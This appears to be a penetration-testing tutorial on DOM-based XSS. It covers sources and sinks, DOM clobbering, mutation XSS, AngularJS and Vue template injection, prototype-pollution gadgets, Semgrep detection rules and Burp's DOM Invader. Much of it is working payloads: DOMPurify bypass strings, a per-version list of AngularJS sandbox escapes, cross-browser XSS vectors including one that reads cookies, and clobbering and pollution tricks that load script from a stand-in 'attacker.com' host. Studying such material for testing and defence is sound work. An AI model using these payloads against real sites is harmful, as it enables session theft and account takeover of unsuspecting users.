DOM XSS vs Server-Side XSS: Why DOM is Harder
Server-side XSS occurs when user input is reflected in the HTTP response from the server. DOM-based XSS occurs entirely within the browser — user-controlled data flows from a source (a DOM property the attacker controls) to a sink (a dangerous JavaScript function) without necessarily touching the server. This makes DOM XSS invisible to most server-side security controls and often undetectable by automated scanners that only analyze HTTP responses.
The key conceptual distinction: in server-side XSS, the payload exists in the HTML sent by the server. In DOM XSS, the payload only exists in the JavaScript execution context of the browser. A WAF inspecting HTTP traffic sees nothing suspicious in a DOM XSS attack.
Sources — Where Attacker Data Enters the DOM
// High-value DOM XSS sources:
location.href // full URL
location.search // query string (e.g., ?q=xss)
location.hash // fragment (#xss)
location.pathname // path component
document.referrer // referrer URL
document.cookie // cookies (less common)
window.name // persists across navigations!
document.URL // full URL as string
document.documentURI // same as document.URL
// postMessage source (inter-origin communication):
window.addEventListener('message', function(event) {
// event.data is a source if not validated!
document.getElementById('output').innerHTML = event.data; // SINK
});
// localStorage / sessionStorage:
const userPrefs = JSON.parse(localStorage.getItem('prefs')); // source
document.querySelector('#theme').innerHTML = userPrefs.theme; // sink
// Example: extracting fragment data (common in SPAs):
const params = new URLSearchParams(location.hash.slice(1));
const search = params.get('q');
document.getElementById('results').innerHTML = 'Results for: ' + search; // DOM XSS!
// URL: https://target.com/#q=<img src=x onerror=alert(1)>
Sinks — Dangerous JavaScript Functions
| Sink | Type | Example | Severity |
|---|---|---|---|
innerHTML |
HTML parsing | el.innerHTML = userInput |
High — executes HTML+JS |
outerHTML |
HTML parsing | el.outerHTML = userInput |
High |
document.write() |
Document write | document.write(userInput) |
Critical — full HTML injection |
eval() |
JS execution | eval(userInput) |
Critical — direct JS execution |
setTimeout(str) |
JS execution | setTimeout(userInput, 0) |
Critical — string form |
setInterval(str) |
JS execution | setInterval(userInput, 100) |
Critical — string form |
location.href |
Navigation | location.href = userInput |
Medium — javascript: URI |
src attribute |
Resource loading | script.src = userInput |
Critical — loads external script |
insertAdjacentHTML |
HTML parsing | el.insertAdjacentHTML('afterend', input) |
High |
DOM Clobbering
DOM clobbering is a technique where an attacker uses HTML markup to overwrite JavaScript variables. In browsers, named form elements and elements with id or name attributes are automatically accessible as properties of the window object (and sometimes document). If JavaScript code uses a global variable that happens to match an HTML element's ID, injecting that HTML element overwrites the variable.
// How DOM clobbering works:
// HTML: <a id="config"></a>
// JavaScript: window.config.url — but window.config is now the <a> element!
// <a> elements have a .href property that returns their href as a string
// So: <a id="config" href="javascript:alert(1)"></a>
// window.config.href === "javascript:alert(1)"
// Vulnerable JavaScript code:
if (!window.config) {
window.config = {url: '/api/default'};
}
// Load script from config.url:
const script = document.createElement('script');
script.src = window.config.url; // CLOBBERED!
document.body.appendChild(script);
// Attack: inject <a id="config" href="//attacker.com/evil.js"></a>
// window.config = the <a> element
// window.config.url is undefined... but window.config.href = "//attacker.com/evil.js"
// If code uses .url || .href: <a id="config" href="//attacker.com/evil.js"></a>
Advanced DOM Clobbering with Forms and Nested Elements
// Form clobbering — accessing nested properties:
// <form id="x"><input id="y" name="z" value="clobbered"></form>
// window.x.z.value = "clobbered"
// window.x.z = the input element
// Two-level clobbering:
// <form id="obj"><input name="property" value="javascript:alert(1)"></form>
// OR use HTMLCollection:
// <a id="obj"></a><a id="obj" name="property" href="javascript:alert(1)"></a>
// window.obj = HTMLCollection
// window.obj.property = the second <a> element
// Clobbering document.baseURI:
// <base href="//attacker.com/">
// Any relative URL now loads from attacker.com
// Clobbers relative script/link/img src loads
// Real-world clobbering payloads:
// Bypass DOMPurify using clobbering (older versions):
// DOMPurify uses document.createElement to check elements
// Clobber document.createElement:
<form><input name="createElement"></form>
// Now: document.createElement = the input element (not a function!)
// DOMPurify crashes, falls back to no sanitization
// Clobbering sanitizer allowlists:
// If sanitizer checks config.allowedTags:
// <form id="config"><input name="allowedTags" value="script"></form>
// config.allowedTags = "script" (a string, which may bypass the array check)
// Practical clobbering in Markdown-to-HTML contexts:
// Many Markdown renderers allow limited HTML
// [click](javascript:alert(1)) — if links aren't sanitized
// <a id="defaultConfig"> — clobbers JS config object
// Testing methodology:
// 1. Find JS globals: grep for "window.X" or uninitialized variables in minified JS
// 2. Check if user HTML is injected to the same document
// 3. Inject <a id="X" href="..."> and observe behavior
Mutation XSS (mXSS)
Mutation XSS exploits the browser's HTML parser behavior when it re-parses HTML. When sanitized HTML is assigned to innerHTML, the browser parses it again. In some cases, syntactically valid-looking sanitized HTML is mutated by the parser into a different structure that contains executable JavaScript. The sanitizer and the sink use different HTML parsing contexts:
// mXSS classic example — browser context changes parsing:
// Sanitizer sees: <noscript><p title="</noscript><img src=x onerror=alert(1)>"></noscript>
// Sanitizer parses this as <noscript> containing a <p> — no JavaScript
// innerHTML assignment triggers re-parse by browser
// In browser with JavaScript enabled:
// <noscript> content is parsed as text (JS is enabled, noscript is not active)
// Wait — some browsers parse <noscript> content differently in innerHTML context
// The title attribute value gets re-parsed as HTML!
// Result: <img src=x onerror=alert(1)> is executed
// DOMPurify bypass via SVG+foreignObject mXSS:
// DOMPurify 2.0.x bypass (CVE-2020-26870 class):
<svg><p><style><img src=1></style></p></svg>
// The SVG parser and HTML parser disagree about context
// <style> in SVG context: parsed as text
// When re-assigned to innerHTML in HTML context: <style> ends, <img> executes
// mXSS polyglot for DOMPurify (various versions):
// Version-specific bypasses:
<math><mtext></p><style></mtext><img src=x onerror=alert(1)></style></math>
<svg><style></style></p><img src=x onerror=alert(1)></svg>
// Namespace confusion bypass:
// HTML parser and SVG/MathML parser handle elements differently
// Moving elements between namespaces causes mutation
<form><math><mtext></form><form><mglyph><style></style><img src onerror=alert(1)>
// Testing mXSS:
// 1. Submit payload to sanitizer (e.g., via API or directly to DOMPurify)
// 2. Observe what sanitizer outputs
// 3. Assign output to innerHTML and watch for execution
// Key insight: payload must survive sanitization AND mutate during re-parsing
Client-Side Template Injection (CSTI)
Client-Side Template Injection occurs when user-controlled data is interpolated within a client-side template framework (AngularJS, Vue.js, Handlebars) without sanitization. Unlike server-side template injection, CSTI executes in the browser's JavaScript context, but can still be used for DOM XSS and data exfiltration.
AngularJS Sandbox Escape
// AngularJS 1.x executes template expressions within a sandbox
// that prevents access to window, document, and other dangerous objects
// However, numerous sandbox escapes have been found over the years
// Basic AngularJS CSTI (no sandbox, no CSP):
// In an ng-app context:
{{constructor.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}
// AngularJS sandbox escapes by version:
// v1.0.1 - 1.1.5 (very old):
{{constructor.constructor('alert(1)')()}}
// v1.2.0 - 1.2.18:
{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}
// v1.2.19 - 1.2.23:
{{c=toString.constructor.prototype;c.toString=c.call;["a","alert(1)"].sort(c.constructor)}}
// v1.3.0 - 1.3.9:
{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;'a'.constructor.prototype.charAt=''.valueOf;$eval("x=alert(1)//")}}
// v1.3.14 (most common legacy target):
{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}
// v1.4.0 - 1.4.9:
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
// v1.5.0 - 1.5.8:
{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}
// v1.5.9 - 1.5.11:
{{
c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
c.$apply=$apply;c.$eval=b;op=$root.$$phase;
$root.$$phase='$apply';od=$root.$digest;
$root.$digest=({}).toString;
C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
B=C(b,c,b);$evalAsync("astNode=true");
BL=B(c.$eval,null,$root);$evalAsync("astNode=true");
XX=BL('alert(1)')
}}
// v1.6.0+ (current):
{{constructor.constructor('alert(document.domain)')()}}
// Sandbox removed in 1.6, but many apps still run 1.5.x
// AngularJS via ng-app attribute:
// Page with: <div ng-app>{{constructor.constructor('alert(1)')()}}</div>
// If any user content reaches the template context, CSTI exists
Vue.js CSTI
// Vue.js 2.x template injection:
// Vue templates use {{ }} for interpolation and v-html for HTML
// If user content is passed to a Vue template string (not just interpolated), CSTI results
// Vue.js CSTI (when template is compiled from user input):
{{ constructor.constructor('alert(1)')() }}
// Vue.js v-html (HTML injection, not full CSTI):
// <div v-html="userContent"></div>
// Only allows HTML injection (DOM XSS), not JS via template syntax
// v-html does NOT process Vue template directives
// Vue.js with server-side template (Nuxt.js):
// If user input lands in a <template> block during SSR:
// {{ $eval('alert(1)') }} — Nuxt-specific
// Detecting Vue.js CSTI:
// Inject: {{7*7}}
// If response shows 49: CSTI confirmed
// If reflected literally as {{7*7}}: no CSTI
Prototype Pollution → DOM XSS Gadgets
// Client-side prototype pollution can create DOM XSS
// via gadgets in JavaScript libraries
// jQuery gadget via PP:
// Pollute: Object.prototype.html = "<img src=x onerror=alert(1)>"
// Any call to $('selector').html() with no arguments returns the polluted value
// If this is used in DOM: $('div').html($.fn.html()) — XSS
// Payload: URL fragment-based pollution + jQuery gadget
// https://target.com/?__proto__[html]=<img src=x onerror=alert(1)>
// OR: ?constructor[prototype][html]=<img src=x onerror=alert(1)>
// Lodash template gadget:
// Pollute: Object.prototype.sourceURL = "//attacker.com/evil.js"
// _.template() uses sourceURL option to set the script's source URL
// This loads external JS!
// DOMPurify config pollution:
// Pollute: Object.prototype.ALLOWED_TAGS = ['script']
// OR: Object.prototype.FORCE_BODY = true
// Then DOMPurify(dirty) allows script tags
// Testing PP → DOM XSS:
// Step 1: Find PP vector (URL param, JSON body)
// Step 2: Identify client-side JS libraries
// Step 3: Test known PP → DOM XSS gadgets for those libraries
// Tool: DOM Invader in Burp Suite Pro
// DOM Invader usage:
// 1. Open target in Burp's embedded browser
// 2. DevTools > DOM Invader tab
// 3. Enable "Prototype pollution" scanning
// 4. DOM Invader injects canary values into all PP vectors
// 5. Reports when canary reaches a DOM sink
Finding DOM Sinks: Source Code Review with Semgrep
# Semgrep rules for DOM XSS detection:
rules:
- id: dom-xss-innerhtml
patterns:
- pattern: $X.innerHTML = $TAINT
- pattern-not: $X.innerHTML = "..."
message: "Potential DOM XSS via innerHTML assignment"
languages: [javascript, typescript]
severity: ERROR
- id: dom-xss-eval
patterns:
- pattern: eval($TAINT)
message: "eval() with potentially tainted data"
languages: [javascript, typescript]
severity: ERROR
- id: dom-xss-document-write
patterns:
- pattern: document.write($TAINT)
message: "document.write() with potentially tainted data"
languages: [javascript, typescript]
severity: ERROR
# Run against minified JS (after formatting):
js-beautify app.min.js > app_formatted.js
semgrep --config=dom-xss-rules.yml app_formatted.js
# Manual source code review checklist:
# 1. Find all innerHTML/outerHTML assignments
# 2. Find all eval() / Function() / setTimeout(string) calls
# 3. Trace data flow from location.hash/.search/.pathname
# 4. Look for template literal with DOM sources: `<p>${location.hash.slice(1)}</p>`
# 5. Check postMessage handlers for missing origin validation
DOM Invader — Burp Suite DOM XSS Tool
// DOM Invader is built into Burp Suite's Chromium browser:
// Access: Proxy > Intercept > Open Browser > DevTools > DOM Invader tab
// Features:
// - Automatic injection of canary strings into all URL parameters, fragments, and postMessage
// - Real-time monitoring of DOM sinks
// - Prototype pollution scanning
// - postMessage origin validation testing
// Using DOM Invader for prototype pollution:
// 1. Enable: DOM Invader > Prototype Pollution > On
// 2. Navigate to target
// 3. DOM Invader tries to pollute via URL fragments and query params:
// https://target.com/?__proto__[canary]=domInvaderCanary
// https://target.com/#__proto__[canary]=domInvaderCanary
// 4. If pollution detected: "Prototype pollution found via URL query"
// 5. Scan for gadgets: DOM Invader > Scan for gadgets
// 6. Reports reachable DOM sinks from polluted properties
// Manual postMessage testing:
// Paste into browser console:
window.postMessage("<img src=x onerror=alert(1)>", "*");
window.postMessage(JSON.stringify({type:"update",content:"<script>alert(1)</script>"}), "*");
// Watch DOM Invader for sink hits
Browser-Specific DOM Behaviors
// Chrome-specific:
// innerHTML assignment with <script> does NOT execute (by spec)
// Use event handlers instead: <img src=x onerror=alert(1)>
// Or: <svg/onload=alert(1)>
// Firefox-specific:
// javascript: URL in location.href requires user gesture in modern Firefox
// But: <a href=javascript:alert(1)> can still fire on click
// Safari-specific:
// More permissive about some DOM clobbering
// Different behavior in SVG namespaces
// IE11-specific (legacy environments):
// document.write() fully executes including <script> in some contexts
// Various older XSS vectors still work: <script>alert(1)</script> in innerHTML
// Cross-browser reliable payloads:
<img src=x onerror=alert(document.domain)>
<svg onload=alert(1)>
<iframe src="javascript:alert(parent.document.cookie)">
<body onload=alert(1)>
<details open ontoggle=alert(1)> // HTML5, no user interaction needed
<input autofocus onfocus=alert(1)> // fires on page load with autofocus
// For innerHTML sinks that strip onerror/onload:
// Inject a JavaScript URI in a navigable element:
<a href=javascript:alert(1) id=clickme>click</a>
// Then clobber click handler: window.clickme.click()
// mXSS template for testing all contexts:
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<math><mi//xlink:href="data:x,<script>alert(1)</script>">
<svg><desc><![CDATA[</desc><img onerror=alert(1) src=x>]]></svg>
DOM-based attacks represent the cutting edge of client-side vulnerability research. DOM clobbering and mXSS are particularly valuable because they enable bypassing sanitizers that application developers believe to be robust — finding that a carefully deployed DOMPurify instance can be bypassed via namespace confusion or clobbering is a high-severity discovery. The combination of client-side template injection vectors and prototype pollution gadgets means that modern JavaScript-heavy applications have an enormous attack surface that traditional security testing methodologies miss entirely.